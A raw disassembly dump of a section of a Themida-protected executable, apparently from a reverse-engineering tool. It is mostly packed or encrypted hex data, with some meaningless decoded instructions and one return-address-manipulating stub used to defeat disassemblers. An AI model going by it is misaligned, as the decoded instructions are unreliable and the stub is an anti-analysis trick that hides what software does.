		dd 1858BD2h, 0A8DB4837h, 0A081AFC0h, 3881AF1Eh,	67858B2Dh
		dd 6C3048C0h, 1770AD48h, 0B30B4524h, 256DD3FBh,	7F858B69h
		dd 7119ECDFh, 0E90ED90Ah, 0EC3ABA22h, 7BD27445h, 5C10013h
		dd 263BEDA1h, 0AA8500B0h, 5C1029Ah, 218262B0h, 899A8B5Ah
		dd 0B2A0DEA7h, 0ABD3D320h, 947AD298h, 2661AAE4h, 0C9D48BB8h
		dd 21858B6Ah, 7846D294h, 25A1C7D3h, 25A1CFACh, 21858B80h
		dd 6946DA0Ah, 0A4088243h, 26623B75h, 0C9D68B03h, 21858BB7h
		dd 7A46D07Ah, 25A1D7A4h, 25A1CF17h, 21858B52h, 0E246D8E6h
		dd 0E25F442Ah, 218963FAh, 83288BB4h, 7610F95h, 612FA27Dh
		dd 7B7DA2E2h, 0CF055BB4h, 84000206h, 0A0826FD8h, 3B85E987h
		dd 50000683h, 4B826F76h, 226DD92Dh, 1858B96h, 0A8DF4811h
		dd 0A081AFF1h, 3781AF96h, 63858B69h, 0DBED48E6h, 47F035C0h
		dd 0A40CEFD1h, 2661AFE7h, 0C9D28B21h, 21858BA6h, 7E46D4F2h
		dd 25A1F7E0h, 25A1CF35h, 21858B46h, 5F46DC6Ah, 120085EEh
		dd 0F4FF907h, 183EE01Fh, 0C004D84h, 72826F45h, 3DE41E87h
		dd 256D8CBEh, 0F9858B2Dh, 41793ADEh, 9D3FD91Bh,	2ED19EF5h
		dd 7B4D39E3h, 23048431h, 76858BB4h, 9FD5EA05h, 759D7A6Fh
		dd 25A1CF1Dh, 21810944h, 71E58BA5h, 210EEA8Ch, 0A84A000Fh
		dd 0C981AFF0h, 21858B5Ch, 3B97F2F6h, 0F93C2674h, 7E8CB612h
		dd 0F83002FDh, 0DE826FCBh, 0C5A4CADCh, 7085E1B3h, 218588B2h
		dd 0E2DCAB2Dh, 5C902CFh, 5C10A4Fh, 21859EA1h, 0E2D4CAD2h
		dd 0BC0C9ED5h, 2661A51Dh, 91220ED7h, 0ACAE8CCAh, 26619783h
		dd 0DE553C44h, 58000275h, 0A8826FCAh, 0C58BCAECh, 7685E1B3h
		dd 218588B2h, 0E2DAAB2Dh, 5F902C9h, 5C10A4Fh, 218590A1h
		dd 0E2D2CCD2h, 0AEF2DAFFh, 5AA0A65Eh, 7E406D1h,	0A4438CC9h
		dd 2661A7BBh, 7185E118h, 2185884Dh, 0E2DDABD2h,	5C10231h
		dd 5C10AB0h, 21859C5Eh,	0E2D5CB2Dh, 0E87E95FAh,	6B81EC2h
		dd 256D8C41h, 92858BD2h, 475D93ADh, 0ABD5713Fh,	5C1008Fh
		dd 9F850029h, 790A436h,	25A1CFC2h, 47DD432Eh, 0DE9B476Dh
		dd 0C5A4CADCh, 0C304EDB3h, 0A4082EADh, 26623B8Ah, 2185837Eh
		dd 0F1B6E24Bh, 0D2097A0Ah, 44308202h, 78826F63h, 286C5B4Bh
		dd 2E858B5Ah, 0F9934DDDh, 9A1B45CBh, 25C80EC2h,	21EF8C41h
		dd 21866380h, 7BA58B69h, 750CD177h, 65048F7Eh, 21918F09h
		dd 73C78B96h, 0A0E3C288h, 0E7D71A4Ch, 0C5A9A657h, 34EDCC6Eh
		dd 9011203Eh, 5B10A88h,	2F0DC91h, 2185807Fh, 1395314Bh
		dd 70A9979Ah, 0C004EC9Fh, 0C43E96h, 0B4A68C50h,	2661BAEBh
		dd 91220EA0h, 0F17A8C71h, 0A84D002Dh, 0C5A14220h, 70008AD5h
		dd 0E7826F74h, 0C5A9A631h, 21EFCC5Dh, 2186637Fh, 7BA58B96h
		dd 750CD188h, 65048F81h, 219C8FF6h, 73C78B69h, 0A616AF77h
		dd 410FC711h, 107F3422h, 0C5A8CE03h, 0BCACEA4Ch, 26618CE8h
		dd 0C51971BAh, 9C71351Ch, 250484C6h, 0D6F60B7Eh, 99E5EB26h
		dd 7712FFB7h, 98540A2Dh, 407CEADFh, 1D1635B4h, 0C43E96h
		dd 94A68C50h, 266190FFh, 91220EA0h, 21EF8C71h, 2186631Ah
		dd 78A58BA5h, 6D0CD211h, 65048F4Dh, 21928F90h, 70C48B5Ah
		dd 2BF4ECEEh, 80802B3h,	0DE826F53h, 54380075h, 0A8826FCFh
		dd 0C5914AECh, 0AC1002B3h, 0A8826F77h, 0C58A2298h, 0C004D91h
		dd 66826F67h, 0C9D28BCFh, 21858BD1h, 7E46D449h,	25A1F73Dh
		dd 25A1CFDBh, 21858B30h, 6146DCD1h, 846367A2h, 703B3B0Dh
		dd 218A633Dh, 2B258B69h, 198B7E3Ah, 889B21FDh, 0B6EAE5A4h
		dd 270C84D7h, 0AA858B4Bh, 0C58B3610h, 296DD2D5h
; ---------------------------------------------------------------------------


loc_5C2404:				; DATA XREF: Themida_:005829C0o
					; Themida_:00584F08o
		imul	ecx, [ebx+289A3C85h], 0FD3A163Eh
		and	[eax-3A78D148h], ch
		xchg	eax, ecx
		aad	0EDh
		cmp	[eax+ebp*4], ebp
		retn
; ---------------------------------------------------------------------------
		db 0C9h
		dd 21858BB6h, 55D9C95h,	56D0A789h, 9EA87F07h, 0AA509AE5h
		dd 0AAEDBFCFh, 2504D447h, 8850CE6Fh, 7685E1C1h,	2185883Ah
		dd 0E2DAAB69h, 5F902EBh, 5C10A5Eh, 21859E29h, 0E2D2CC96h
		dd 940CEAFBh, 2661A1D8h, 6030742Eh, 0A8826F48h,	0C593E239h
		dd 8600065Dh, 4B826C9Dh, 226DDC96h, 1858B4Bh, 0A8DA48FAh
		dd 0A081AFAEh, 3981AF2Dh, 66858BB4h, 568C480Dh,	0A8B7771Ah
		dd 0C580BE23h, 0F17A7E4Ch, 0C9D68BCFh, 21858BD1h, 7A46D049h
		dd 25A1D73Dh, 25A1CFDBh, 21858B36h, 0E346D8D5h,	66510A3Bh
		dd 0A004F908h, 0A4588603h, 0B010A201h, 0AA826FB9h, 0C58E8AEFh
		dd 0B000022Ah, 9B826F85h, 3DB7542Ch, 0B40C5B5Ah, 2661B8FFh
		dd 211C0EE0h, 47798C50h, 0B48E53D6h, 2661BA60h,	20D03E1Fh
		dd 25A18CAFh, 0C9D68BCFh, 21858BD1h, 7A46D049h,	25A1D73Dh
		dd 25A1CFDBh, 21858B34h, 0E246D8D5h, 7BBDA035h,	2E4581B2h
		dd 21869956h, 0CC108069h, 41826FABh, 218582B2h,	852ED72Dh
		dd 458BE292h, 0A40E5B6Dh, 26618ACCh, 2180628Ch,	71708B69h
		dd 4047E83Ah, 0DA80E9Ch, 70CA8CC9h, 720F562Fh, 0E6EDD502h
		dd 41D24D14h, 415400B2h, 9AE3EA08h, 0A0E40158h,	9B78AF5Eh
		dd 21EFEC94h, 218663C7h, 78A58B4Bh, 6D0CD266h, 65048FF6h
		dd 219E8F4Dh, 70C48BB4h, 0A17F4599h, 9FEED6A2h,	947A776Ch
		dd 2661AA0Ah, 0AC527A25h, 0C6352C57h, 7785E16Eh, 2185885Ch
		dd 0E2DBAB5Ah, 5F10273h, 5C10A92h, 21859E4Fh, 0E2D3CDA5h
		dd 0D9E5706Eh, 40753466h, 21EF5B4Bh, 2186630Ch,	7FA58B2Dh
		dd 550CD555h, 65048F6Fh, 219D8F81h, 77C38BD2h, 294FF7AAh
		dd 0B40EF685h, 2661A163h, 4BA14BAEh, 226DDA96h,	1858B4Bh
		dd 0A8DC48FCh, 0A081AF9Eh, 3B81AF2Dh, 60858BB4h, 8385480Bh
		dd 31DB7149h, 0F4100040h, 0A8826F48h, 0C5A81220h, 693BEDD5h
		dd 0B800001Ah, 4B826FB4h, 226DD85Ah, 1858B2Dh, 0A8DE48CDh
		dd 0A081AF17h, 3781AFE1h, 62858BD2h, 1F51483Ah,	0BC0E7EEAh
		dd 266198CBh, 325436A6h, 4BC68C72h, 226DD94Bh, 1858BA5h
		dd 0A8DF4888h, 0A081AF3Dh, 3981AFF0h, 63858B5Ah, 7DDA487Fh
		dd 0AA507B42h, 218E6350h, 758F8BA5h, 0F145CFB6h, 0BFE791FBh
		dd 0BC080293h, 7E826F4Fh, 0A1D290A6h, 0AADC0E5Bh, 7185E150h
		dd 2185884Dh, 0E2DDABD2h, 5C10231h, 5C10AB0h, 2185975Eh
		dd 0E2D5CB2Dh, 6D336BD8h, 0F21A874Ch, 0CE04EDADh, 0F9B6F26Bh
		dd 0C9D28B03h, 21858BB7h, 7E46D47Ah, 25A1F7A4h,	25A1CF17h
		dd 21858B52h, 2A46DCE2h, 95A6C4E7h, 24400B53h, 218708BBh
		dd 0C90F8B5Ah, 1AC16A4h, 0B40E8C72h, 2661846Ah,	20BC1E2Ch
		dd 0A4438C36h, 2661A744h, 7185E1F3h, 218588B2h,	0E2DDAB2Dh
		dd 5C102CEh, 5C10A4Fh, 21859FA1h, 0E2D5CBD2h, 0F435E3B1h
		dd 356CCDD0h, 0E0858B5Ah, 0A13D248Ch, 7C7BC4Bh,	5273F35Dh
		dd 47A06DC9h, 0A0C4F10Ch, 267CAF6Dh, 286DFACEh,	5B858B5Ah
		dd 5B19562h, 2D8D545Ah,	3E5C1E62h, 76DB8C41h, 2203659h
		dd 0DEDC8C8Dh, 0C5A4CA01h, 7785E15Dh, 218588C5h, 0E2DBAB96h
		dd 5F10215h, 5C10AA1h, 218593D6h, 0E2D3CD69h, 0C61587BEh
		dd 86000681h, 20826C9Dh, 0C5901E03h, 0C855744Ch, 21858BAEh
		dd 0EA714A6Ah, 0F60EA361h, 0A8084786h, 0C5A142DFh, 210ECB2Ah
		dd 0C9D08BFCh, 21858B48h, 7C46D685h, 25A1E75Bh,	25A1CFE8h
		dd 21858BA8h, 2D46DE1Fh, 4769E20Fh, 0B81F01E1h,	11A436C2h
		dd 210E8C41h, 0C9D58BB8h, 21858B6Ah, 7946D394h,	25A1CFD3h
		dd 25A1CFACh, 21858B8Fh, 446DB0Bh, 0DBD01A38h, 0C4000217h
		dd 4B826F6Ah, 226DDDB4h, 1858B5Ah, 0A8DB4873h, 0A081AFE2h
		dd 3981AF0Fh, 67858BA5h, 0A4D54884h, 47FA4AACh,	9B1A4235h
		dd 2184C3B3h, 1018BA2Dh, 0AC826FBAh, 0C67D34CEh, 218A62A2h
		dd 95938BD2h, 86D36DA6h, 0BE28A91Ch, 0BA896850h, 316CDBBFh
		dd 5B858B96h, 11606DE7h, 0EF7D0A6h, 0FAA2FD00h,	0A8568B5Eh
		dd 0C9D4AFB0h, 21858B4Eh, 35C4602Dh, 918B7644h,	35C1F36Fh
		dd 67C54732h, 37D70EE5h, 35DC3E6Ah, 7BDF8C50h, 465A0A3Ch
		dd 0F410742Ah, 4B826F8Dh, 226DDE4Bh, 1858BA5h, 0A8D8488Fh
		dd 0A081AF05h, 3581AFF0h, 64858B5Ah, 0C8514878h, 21858B86h
		dd 0AD6738AEh, 0DA56EB9Fh, 83C4FA7Eh, 9906ABB2h, 64A834D2h
		dd 0D94016D7h, 0A88A8CCAh, 21858B9Eh, 0E33FED2Bh, 40E4EB69h
		dd 21976382h, 9AF28B69h, 0A81BE7DFh, 86D1601Fh,	678B90ABh
		dd 0EB7924F3h, 5990212h, 2866D01Fh, 0AAE31BFAh,	276CDBA7h
		dd 0F2858BB4h, 4F3BFC10h, 21EF1BBBh, 218663C1h,	7EA58B4Bh
		dd 5D0CD466h, 65048FF6h, 21908F4Dh, 76C28BB4h, 0C9C42099h
		dd 21858B21h, 0DD6CFBECh, 251B8AB7h, 0AAD0F36Eh, 26B41E59h
		dd 0DEDC8C8Dh, 0C59E0A21h, 7085E15Dh, 218588C5h, 0E2DCAB96h
		dd 5C90212h, 5C10AA1h, 21859DD6h, 0E2D4CA69h, 97E85372h
		dd 0B80002CEh, 0AA826F00h, 0C5A68A03h, 0C004D4Ch, 72826F89h
		dd 49573CDDh, 0B5709DBBh, 8CA18F35h, 4B901937h,	226DDA2Dh
		dd 1858B96h, 0A8DC4812h, 0A081AFE9h, 3981AF96h,	60858B69h
		dd 0E6E948E5h, 0AA5969F9h, 603074FCh, 0A0826FB7h, 0EDD069BDh
		dd 86000682h, 0AA826C62h, 0C58FE2D4h, 218362B3h, 0D65A8B5Ah
		dd 0A0534027h, 0B40E5B69h, 2661AE42h, 10280E2Ch, 0AAE58C36h
		dd 270F84B6h, 0AA858BB4h, 0C58432C7h, 0A443EA2Ah, 2661A7BBh
		dd 7185E10Ch, 2185884Dh, 0E2DDABD2h, 5C10231h, 5C10AB0h
		dd 21859C5Eh, 0E2D5CB2Dh, 0B3FDF9ECh, 0AB6A0A2Dh, 6808A28Bh
		dd 49826FDFh, 4F2071DFh, 47D1860Dh, 5810A1Ch, 134991F7h
		dd 0C9D48BFCh, 21858B48h, 7846D285h, 25A1C75Bh,	25A1CFE8h
		dd 21858BA8h, 2E46DA1Bh, 6C4E5CD7h, 1B83ADFh, 6319D9F1h
		dd 0CF6B0BCDh, 7743EDBh, 947A8C8Dh, 2661AAF5h, 0C9D38B30h
		dd 21858B2Eh, 7F46D5B6h, 25A1FFC2h, 25A1CF24h, 21858BCFh
		dd 0E946DD2Fh, 6E96F1B4h, 7926CE4Bh, 8600065Ch,	4B826C26h
		dd 226DDD4Bh, 1858BA5h,	0A8DB488Ch, 0A081AF1Dh,	3981AFF0h
		dd 67858B5Ah, 0A739487Bh, 0DE672B04h, 7785E19Bh, 2185884Dh
		dd 0E2DBABD2h, 5F10237h, 5C10AB0h, 21859C5Eh, 0E2D3CD2Dh
		dd 990F26B9h, 47E5AEFEh, 763CA21Eh, 75C0E5Bh, 40DD8C8Dh
		dd 0B8C0E3Dh, 21EF8CBEh, 2186637Dh, 79A58B96h, 650CD388h
		dd 65048F81h, 219F8FF6h, 71C58B69h, 9CAE9277h, 0F89D27EEh
		dd 35E816A4h, 0A4438C72h, 2661A766h, 7185E1F6h,	2185883Ah
		dd 0E2DDAB69h, 5C102ECh, 5C10A5Eh, 21859C29h, 0E2D5CB96h
		dd 0EFA2B8EDh, 21A505AAh, 356D8BD2h, 57858B69h,	2F5C134Eh
		dd 55686A4Eh, 83C0DDC9h, 845D0521h, 2EE93721h, 21858B2Eh
		dd 256DD1D2h, 0B1858B69h, 0C91CB2EBh, 21858B5Ch, 81F53063h
		dd 0C9E57386h, 21858B45h, 823B795Eh, 0EB4D38D9h, 2B776405h
		dd 41DDF1CCh, 71DCEA3Bh, 108AD97Dh, 40DBDBF6h, 650ED311h
		dd 210E8F81h, 2185993Ah
		db 69h
byte_5C2BA5	db 35h,	0F1h, 9Eh	; DATA XREF: Themida_:00583F10o
		dd 34BF80C8h, 31123376h, 8DBA0944h, 0C99A7F63h,	21858B4Dh
		dd 284653E9h, 0F20E1A74h, 650CD230h, 0ABE58F90h, 2189638Bh
		dd 0F3A78B2Dh, 19266EFDh, 0AD654F29h, 40E57915h, 2ADDEA8Dh
		dd 0C5802EDCh, 603074B3h, 4B826F7Bh, 226DDD2Dh,	1858B96h
		dd 0A8DB4815h, 0A081AFD1h, 3D81AF96h, 67858B69h, 488848E2h
		dd 44F702BFh, 0A1182B3Eh, 0A4089174h, 26623BECh, 0C9D08BCFh
		dd 21858BD1h, 7C46D649h, 25A1E73Dh, 25A1CFDBh, 21858B39h
		dd 7846DED3h, 3B0006C2h, 0BCAC8C41h, 2661BA57h,	21EF5B96h
		dd 218663E2h, 7FA58B5Ah, 550CD5EEh, 65048FB2h, 21938F6Fh
		dd 77C38BA5h, 8F74EA11h, 11E40EE0h, 21EF8C50h, 2186630Bh
		dd 78A58B2Dh, 6D0CD255h, 65048F6Fh, 219C8F81h, 70C48BD2h
		dd 5C8CD3AAh, 2EF99815h, 21858BD7h, 0C004D2Dh, 76826FBAh
		dd 0C9D08B21h, 21858BA6h, 7C46D6F2h, 25A1E7E0h,	25A1CF35h
		dd 21858B41h, 0CD46DE68h, 0DE5F684Eh, 0C821E331h, 21858BB6h
		dd 7353717Eh, 0BF354320h, 57DAF351h, 95828F50h,	0C934DCE3h
		dd 21858B92h, 0B181D94Dh, 0AAE3EBC5h, 0D234EA1Ah, 73D5DB08h
		dd 21858D5Dh, 7A1E085Ah, 2EDA0187h, 270284A7h, 2E858B4Bh
		dd 21858B23h, 0AADDD1D2h, 7181AF2Dh, 8B31EBE6h,	2EE45AD0h
		dd 0AADDD11Ch, 2E048496h, 0C9858B4Bh, 21858BA2h, 8CA263D8h
		dd 0AA29F7BBh, 650CD24Fh, 0AAE38F7Eh, 21EFD3E2h, 218663C0h
		dd 7FA58B4Bh, 550CD566h, 65048FF6h, 21998F4Dh, 77C38BB4h
		dd 0F0212D99h, 3737F02Ah, 0AC0EB8BAh, 2661A99Ah, 338362Ch
		dd 947A8C36h, 2661AA28h, 0C9D58BDEh, 21858B59h,	7946D30Dh
		dd 25A1CF1Fh, 25A1CFCAh, 21858BB1h, 3A46DB92h, 2FC806E2h
		dd 296C8C50h, 0DC858B5Ah, 0B3108A18h, 0ACAC16BBh, 0C6352CCEh
		dd 7085E1A2h, 2185883Ah, 0E2DCAB69h, 5C902EDh, 5C10A5Eh
		dd 21859C29h, 0E2D4CA96h, 8D9DA235h, 21EF5B5Ah,	21866387h
		dd 7CA58B69h, 4D0CD677h, 65048F7Eh, 21998F09h, 74C08B96h
		dd 0D0472988h, 7854F56Ch, 0A8D62339h, 0C59C3EFCh, 276DD1B3h
		dd 80858B5Ah, 0CF004002h, 3C720AF7h, 7E907CDEh,	11C80E2Ch
		dd 0A4438C36h, 2661A744h, 219662F7h, 18928B5Ah,	2CE7A8D0h
		dd 0A19A91F7h, 5E181831h, 24384993h, 7030A06Dh,	49826F64h
		dd 90C9A622h, 218B623Ah, 152D8B2Dh, 0B33A21C8h,	3146B14h
		dd 3D6F17D9h, 5B10AB3h,	2C59D6D7h, 218B08BBh, 286C8B5Ah
		dd 10858B2Dh, 0A3D926B7h, 691EB9BFh, 0B80802C5h, 0C9826FF5h
		dd 21858B7Bh, 0F0B23976h, 31B3D68Ah, 642C6913h,	0FDFFD05Dh
		dd 0FA0494D8h, 3BA5C58Ah, 947AEA8Dh, 2661AA28h,	8600064Dh
		dd 4B826CEAh, 226DDC2Dh, 1858B96h, 0A8DA4814h, 0A081AFD9h
		dd 3481AF96h, 66858B69h, 787848E3h, 21EF5BA5h, 2186637Eh
		dd 7AA58B96h, 7D0CD088h, 65048F81h, 21908FF6h, 72C68B69h
		dd 22E2F377h, 0C5AF6EEFh, 4008022Ah, 0A8826FB3h, 0C58BE6CEh
		dd 7185E1A2h, 2185883Ah, 0E2DDAB69h, 5C102ECh, 5C10A5Eh
		dd 21859C29h, 0E2D5CB96h, 82123A08h, 0A88C6125h, 0C58C024Fh
		dd 9400066Eh, 22826C4Ch, 0C5990EE7h, 70E5DB2Ah,	73D5E92Dh
		dd 0E90ED55Ah, 58102C4h, 21840CDDh, 0DE708B69h,	0C59E5E21h
		dd 1408805Dh, 0AA826F1Dh, 7185E14Eh, 218588A3h,	0E2DDABA5h
		dd 5C1028Ah, 5C10A6Dh, 218591B0h, 0E2D5CB5Ah, 3E2AD55Eh
		dd 0D8B21059h, 0D92C0EC6h, 296D8C42h, 46858BD2h, 293E0D2Eh
		dd 0AAAC480Ch, 0C9D5D1ABh, 21858B3Fh, 6D21FD4h,	0B4B98969h
		dd 70005FCAh, 34A48216h, 0A48A1788h, 21858BACh,	218598B3h
		dd 0E8EF4B2Dh, 81EA2A97h, 0DE85B852h, 66D140A5h, 0DBAC8BFFh
		dd 5810236h, 0C9D28BDEh, 21858B59h, 7E46D40Dh, 25A1F71Fh
		dd 25A1CFCAh, 21858BBEh, 0AE46DC95h, 0D7D9AAB7h, 0D48BC9BBh
		dd 716A01C9h, 0F60EED4Dh, 21810B99h, 98E38B4Bh,	0B2E48BBEh
		dd 383EEDB2h, 0B47AEA22h, 26619035h, 0B00002A6h, 0A8826F00h
		dd 0C5B44613h, 2182624Ch, 0BEF48BA5h, 0EEBAD03Ch, 0F4004CD2h
		dd 2E826F9Eh, 0DE858B5Ah, 0C5A81AB8h, 0DA0EED91h, 39E00EC2h
		dd 9C848C41h, 26618EC7h, 2B200EE2h, 0BC088C50h,	266D80B9h
		dd 0AC84C8A4h, 0C5A9FA2Bh, 9C30064Ch, 988263AEh, 21858BE1h
		dd 126E2F9Ah, 21858B0Ch, 5545805Ah, 219D492Eh, 2DA1CF1Dh
		dd 21856318h, 0A0DE8BA5h, 21859C11h, 5D90269h, 5C102A4h
		dd 163DD04Eh, 0DE853AD7h, 5C10076h, 4B65744Fh, 226DDEA5h
		dd 1858BD2h, 0A8D84834h, 0A081AFD8h, 3481AF1Eh,	64858B2Dh
		dd 0BA2948C3h, 3C6F0A2Dh, 7185E124h, 2185883Ah,	0E2DDAB69h
		dd 5C102ECh, 5C10A5Eh, 21859229h, 0E2D5CB96h, 2F34E386h
		dd 2B6CDB19h, 0A0858BD2h, 699075AEh, 90D921C9h,	0F10EEDA0h
		dd 218B624Ch, 0D8608B96h, 92CB92AEh, 0B54305B8h, 56189099h
		dd 0D92C36E4h, 0AC088C53h, 266D872Fh, 72EBE95h,	800B80Eh
		dd 0A826F52h, 236C4A6Ah, 12AA70EBh, 817485E1h, 0B4218588h
		dd 7E2D8ABh, 2905E902h,	9205C10Ah, 0F305E983h, 6AD98BA4h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0A819C351h, 0BFAA5E34h, 2DB58Bh, 8D8B07E4h
		dd 7E42EE1h, 22E9h, 88A0F00h, 0F000000h, 289h, 61616000h
		dd 0CE9C3F5h, 29000000h, 0DDE124F7h, 1CB7B6Eh, 8B31F553h
		dd 188A0FC0h, 60000000h, 6E9h, 20F54000h, 0E9A76D1Dh, 6
		dd 0C6FA3C99h, 8361BA58h, 0E413F1BDh, 9750007h,	935BD83h
		dd 740007E4h, 8B535019h, 4B9B8C0h, 85890000h, 7E40EEDh
		dd 0EA579D8Dh, 0D3FF07E6h, 0BD83585Bh, 7E40935h, 50177400h
		dd 4B9B853h, 85890000h,	7E40EEDh, 0E6F89D8Dh, 0D3FF07E6h
		dd 6A585Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 590FF3C3h, 0A508BE89h, 0BE91Ah, 0A7F00000h
		dd 5D717052h, 0BF568E2Dh, 870FF96Eh, 1,	0E9C08BF8h, 12h
		dd 269F39D9h, 7C814869h, 689EBD65h, 0BB63BDA8h,	8B4096F7h
		dd 51006AC1h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 1B547F0Bh, 0B5893C14h, 7E4009Dh,	4EBh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 9F32B0C3h, 90BA66B9h, 5E93AE5h, 6D000000h, 9780F8Ch
		dd 0E7816650h, 8D5ED989h, 0E40D8585h, 39858907h, 9007E427h
		dd 0CE6BF50h, 505F71FFh, 0D38B6660h, 5A616050h,	6A9061h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 4AA6E0C3h, 2037FB4Ch, 858992CFh, 7E40659h, 0B70F006Ah
		dd 66006AF3h, 8DAB2BBFh, 0E80F9485h, 835E5707h,	6A05C0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0C3C1E1C3h, 0EF91D740h, 0FC80BF66h, 13E950h,	2E250000h
		dd 6E188B7Bh, 0C30D0488h, 69D3AE2Ch, 0E9EF4973h, 24048941h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 50C35242h
		dd 362371BEh, 8B006A0Eh, 0E41EC1BDh, 6A006A07h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 3CACC351h, 88DAF21Fh, 89FF3770h, 0E40F998Dh,	7195FF07h
		dd 6A07E424h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h
		dd 40000000h, 0DA0EC350h, 5E98D3Ch, 0AD000000h,	0A83A8465h
		dd 0D64B9D8Dh, 6A07E7h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 9705A5C3h, 0B9CC1ED7h, 0FD3FF85h
		dd 284h, 0FFF18B00h, 0E420B985h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 44FD2015h
		dd 5E9FBh, 48FE0000h, 0E913C71Ch, 6FAh,	0E8h, 0ED815D00h
		dd 7E80F9Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	0CEC35141h, 0F9CB93A8h,	8DB589D3h, 8107E422h, 0E42AD5BDh
		dd 7D007h, 0D860F00h, 29000001h, 0E418358Dh, 699D8B07h
		dd 6A07E40Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 834CC353h, 0D0919E04h,	5252AE9Dh
		dd 6800Fh, 0B58B0000h, 7E40A9Dh, 0E381FC5Fh, 100h, 2A79BD01h
		dd 0DB0B07E4h, 7D850Fh,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 5FDA43C3h, 6E2F1E38h
		dd 1A718589h, 853107E4h, 7E41C61h, 0DD3BD83h, 0F0007E8h
		dd 2784h, 46E9F500h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0BE65C355h,	355520EFh
		dd 0DD385C7h, 107E8h, 0B5030000h, 7E43565h, 10E9h, 89BD8B00h
		dd 0C707E426h, 0E80DD385h, 7, 699D8D00h, 6A07E40Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 9F3CC357h, 0E62F86C3h, 0FF238136h, 0BFFFFFFEh, 50747854h
		dd 8BDB8C66h, 4C3F6F3h,	93840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 688D30C3h
		dd 0FFB72571h, 0E42D9195h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 8E8FDB9Fh
		dd 0F5090E0h, 1C88h, 10E800h, 0D3870000h, 6C948130h, 0BB236411h
		dd 821231B7h, 8C0F219Ah, 0
; ---------------------------------------------------------------------------
		pop	esi
		nop
		push	0
		push	ecx
		call	sub_5C35F9
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C35F9	proc near		; CODE XREF: Themida_:005C35F1p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5C35F9	endp

; ---------------------------------------------------------------------------
		db 93h,	86h, 7Fh
		dd 29B586B9h, 0E41B4985h, 409E907h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 277AECC3h
		dd 899D2EAFh, 0E402A995h, 8900B007h, 0E431B19Dh, 0F2B70F07h
		dd 6A70E6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 4F3A05C3h, 734561DEh, 89603BE5h, 0E41A0D8Dh
		dd 66EDBE07h, 66617BF5h, 0E463BEBEh, 53006A71h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 669025C0h
		dd 0C8C7BB13h, 14E9E3CEh, 0D6000000h, 2CB43DDDh, 0EC95E3C9h
		dd 37D659F2h, 4A696895h, 665D9225h, 0B60FF78Bh,	998589D8h
		dd 0BA07E415h, 6, 2B58589h, 0C38B07E4h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 17h, 0BCC35141h, 898E74BFh
		dd 0E42211BDh, 4E8C107h, 66E2F766h, 2D5BC781h, 6AD82Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 8D8977C3h, 7E408CDh,	2115BD8Bh, 609307E4h, 14830Fh
		dd 0FE90000h, 4000000h,	0E50B9D47h, 639FE03h, 0B1BD9607h
		dd 66603EC9h, 0E8D1AFBBh, 9, 0DE3B9B23h, 319EA435h, 6161593Bh
		dd 0C56CBE50h, 29934197h, 0E42115B5h, 0D5B5FF07h, 8107E42Ah
		dd 5E93BADFh, 4195FF6Dh, 6A07E40Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 93EAC350h
		dd 17F1680Dh, 4C5F0ED2h, 0D924BE66h, 6A00B0h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 7CD12BC3h
		dd 0D96D8755h, 8B06EC09h, 0E42A21BDh, 6A70E607h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 2359C353h, 2F1BEDDEh, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 295C82C3h, 6860Fh, 0BD030000h
		dd 7E42631h, 830F613Ch,	1EFh, 1535B589h, 0B60F07E4h, 56006AD8h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 6C3B71A6h, 0EE8284Eh, 19000000h, 8B6E6DDAh, 1456956Dh
		dd 104B1BC9h, 0BA5FF93Dh, 6, 0E03EBF66h, 6AC38Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 1695ADC3h, 0C91F592Dh, 0E8C15FACh, 0E2F76604h, 5F5F5352h
		dd 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0BC8188C3h, 3176A44Dh, 8B151B83h,	0E431B1B5h
